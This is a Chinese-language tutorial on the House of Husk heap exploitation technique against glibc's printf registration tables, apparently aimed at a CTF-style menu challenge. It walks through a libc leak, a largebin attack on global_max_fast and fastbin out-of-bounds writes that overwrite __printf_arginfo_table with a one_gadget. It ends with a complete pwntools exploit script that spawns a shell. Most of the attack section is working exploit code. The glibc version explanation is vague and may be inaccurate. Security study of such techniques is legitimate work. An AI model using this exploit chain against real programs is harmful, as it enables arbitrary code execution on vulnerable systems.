printf的源码利用——House of Husk
字数 1216 2025-08-22 12:22:48

House of Husk 利用技术详解

原理概述

House of Husk 是一种针对 glibc 中 printf 函数的利用技术,通过劫持 printf 格式化字符串处理机制来执行任意代码。该技术主要利用以下关键点:

  1. printf 注册机制:glibc 允许通过 __register_printf_function 为特定格式字符注册处理函数
  2. 全局函数表__printf_function_table__printf_arginfo_table 维护格式字符与处理函数的映射关系
  3. fastbin 数组越界:通过修改 global_max_fast 使大 chunk 进入 fastbin,利用数组越界覆盖上述全局表

技术细节

printf 注册机制

glibc 提供了以下函数来注册自定义格式处理函数:

int __register_printf_specifier(int spec, printf_function converter, printf_arginfo_size_function arginfo) {
    if (spec < 0 || spec > (int) UCHAR_MAX) {
        __set_errno(EINVAL);
        return -1;
    }
    
    if (__printf_function_table == NULL) {
        __printf_arginfo_table = (printf_arginfo_size_function **) calloc(UCHAR_MAX + 1, sizeof(void *) * 2);
        __printf_function_table = (printf_function **) (__printf_arginfo_table + UCHAR_MAX + 1);
    }
    
    __printf_function_table[spec] = converter;
    __printf_arginfo_table[spec] = arginfo;
    return 0;
}

关键调用路径

  1. printf -> __vfprintf_internal -> buffered_vfprintf -> __vfprintf_internal
  2. 最终会调用 printf_positional 函数
  3. __parse_one_specmb 中会调用注册的处理函数:
if (__builtin_expect(__printf_function_table == NULL, 1) || 
    spec->info.spec > UCHAR_MAX || 
    __printf_arginfo_table[spec->info.spec] == NULL) {
    // 正常处理
} else {
    // 调用注册的函数
    spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])(...);
}

利用条件

  1. 能够覆盖 __printf_function_table__printf_arginfo_table
  2. 能够控制其中一个表项指向攻击者控制的内存
  3. 能够触发带有特定格式字符的 printf 调用

利用步骤

1. 泄露 libc 地址

通过释放 chunk 到 unsorted bin 并读取 fd 指针来泄露 libc 基地址:

add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)
free(2)
show(2)
libc.address = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x1d1cc0

2. Largebin Attack 修改 global_max_fast

add(10, 0x500)
edit(2, p64(0)*3 + p64(libc.sym['global_max_fast'] - 0x20))
free(0)
add(10, 0x500)

3. 准备特殊大小的 chunk

申请大小能覆盖到 __printf_function_table__printf_arginfo_table 的 chunk:

add(4, (libc.sym['__printf_arginfo_table'] - (libc.sym['main_arena'] + 0x10)) * 2 + 0x10)
add(5, 0x18)
add(6, (libc.sym['__printf_function_table'] - (libc.sym['main_arena'] + 0x10)) * 2 + 0x10)
add(7, 0x18)

4. 释放 chunk 覆盖函数表

one_gadget = [0xd3361, 0xd3364, 0xd3367][0] + libc.address
edit(4, (ord('d')*8 - 0x10)*b'\x00' + p64(one_gadget))
free(4)
free(6)

5. 触发漏洞

通过无效选项触发 printf 调用:

io.sendafter("choice:", "123")

注意事项

  1. glibc 版本限制:该技术在 glibc 2.36 及以下有效,因为之后版本将注册函数长度从 2 字节改为 1 字节
  2. 利用路径选择
    • 优先选择 __printf_arginfo_table 路径,只需伪造一个位置
    • 使用 __printf_function_table 路径需要额外伪造 __printf_arginfo_table 对应项为 NULL
  3. one_gadget 放置:需要根据触发时使用的格式字符计算正确偏移

防御措施

  1. 更新到最新版 glibc
  2. 对用户输入的格式字符串进行严格过滤
  3. 使用 printf 时避免直接使用用户控制的格式字符串

完整利用代码

from pwn import *

context(log_level="debug", arch="amd64", os="linux")
io = process("./pwn")
libc = ELF("/path/to/libc.so.6")

def add(index, size):
    io.sendafter("choice:", "1")
    io.sendafter("index:", str(index))
    io.sendafter("size:", str(size))

def free(index):
    io.sendafter("choice:", "2")
    io.sendafter("index:", str(index))

def edit(index, content):
    io.sendafter("choice:", "3")
    io.sendafter("index:", str(index))
    io.sendafter("length:", str(len(content)))
    io.sendafter("content:", content)

def show(index):
    io.sendafter("choice:", "4")
    io.sendafter("index:", str(index))

# 泄露 libc
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)
free(2)
show(2)
libc.address = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x1d1cc0

# 准备特殊 chunk
add(4, (libc.sym['__printf_arginfo_table'] - (libc.sym['main_arena'] + 0x10)) * 2 + 0x10)
add(5, 0x18)
add(6, (libc.sym['__printf_function_table'] - (libc.sym['main_arena'] + 0x10)) * 2 + 0x10)
add(7, 0x18)

# Largebin attack 修改 global_max_fast
add(10, 0x500)
edit(2, p64(0)*3 + p64(libc.sym['global_max_fast'] - 0x20))
free(0)
add(10, 0x500)

# 覆盖函数表
one_gadget = [0xd3361, 0xd3364, 0xd3367][0] + libc.address
edit(4, (ord('d')*8 - 0x10)*b'\x00' + p64(one_gadget))
free(4)
free(6)

# 触发
io.sendafter("choice:", "123")
io.interactive()

通过以上步骤,攻击者可以成功利用 House of Husk 技术获取 shell。

House of Husk 利用技术详解 原理概述 House of Husk 是一种针对 glibc 中 printf 函数的利用技术,通过劫持 printf 格式化字符串处理机制来执行任意代码。该技术主要利用以下关键点: printf 注册机制 :glibc 允许通过 __register_printf_function 为特定格式字符注册处理函数 全局函数表 : __printf_function_table 和 __printf_arginfo_table 维护格式字符与处理函数的映射关系 fastbin 数组越界 :通过修改 global_max_fast 使大 chunk 进入 fastbin,利用数组越界覆盖上述全局表 技术细节 printf 注册机制 glibc 提供了以下函数来注册自定义格式处理函数: 关键调用路径 printf -> __vfprintf_internal -> buffered_vfprintf -> __vfprintf_internal 最终会调用 printf_positional 函数 在 __parse_one_specmb 中会调用注册的处理函数: 利用条件 能够覆盖 __printf_function_table 或 __printf_arginfo_table 能够控制其中一个表项指向攻击者控制的内存 能够触发带有特定格式字符的 printf 调用 利用步骤 1. 泄露 libc 地址 通过释放 chunk 到 unsorted bin 并读取 fd 指针来泄露 libc 基地址: 2. Largebin Attack 修改 global_ max_ fast 3. 准备特殊大小的 chunk 申请大小能覆盖到 __printf_function_table 和 __printf_arginfo_table 的 chunk: 4. 释放 chunk 覆盖函数表 5. 触发漏洞 通过无效选项触发 printf 调用: 注意事项 glibc 版本限制 :该技术在 glibc 2.36 及以下有效,因为之后版本将注册函数长度从 2 字节改为 1 字节 利用路径选择 : 优先选择 __printf_arginfo_table 路径,只需伪造一个位置 使用 __printf_function_table 路径需要额外伪造 __printf_arginfo_table 对应项为 NULL one_ gadget 放置 :需要根据触发时使用的格式字符计算正确偏移 防御措施 更新到最新版 glibc 对用户输入的格式字符串进行严格过滤 使用 printf 时避免直接使用用户控制的格式字符串 完整利用代码 通过以上步骤,攻击者可以成功利用 House of Husk 技术获取 shell。